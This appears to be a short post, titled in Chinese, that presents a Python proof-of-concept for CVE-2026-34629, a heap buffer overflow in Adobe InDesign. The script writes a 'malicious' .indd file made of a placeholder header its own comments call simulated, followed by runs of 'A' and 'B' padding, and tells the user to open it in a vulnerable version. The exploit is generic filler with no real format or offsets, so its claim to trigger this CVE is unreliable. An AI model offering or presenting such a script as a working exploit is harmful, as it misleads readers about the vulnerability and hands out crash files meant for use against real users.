CVE-2026-34629 Adobe InDesign堆缓冲区溢出漏洞

import struct # PoC for CVE-2026-34629 Heap-based Buffer Overflow # This script generates a malicious file to trigger the crash. def create_malicious_file(filename): # Header for a generic InDesign compatible format (simulated) header = b"INDD_MAGIC_HEADER" # Padding to reach the vulnerable buffer offset padding = b"A" * 100 # Payload to overwrite the heap metadata or return address # Adjust size based on the specific vulnerability offset overflow_payload = b"B" * 500 # Construct the file content file_content = header + padding + overflow_payload with open(filename, "wb") as f: f.write(file_content) print(f"[+] Malicious file '{filename}' generated successfully.") print("[+] Open this file with the vulnerable Adobe InDesign version to trigger the vulnerability.") if __name__ == "__main__": create_malicious_file("exploit.indd")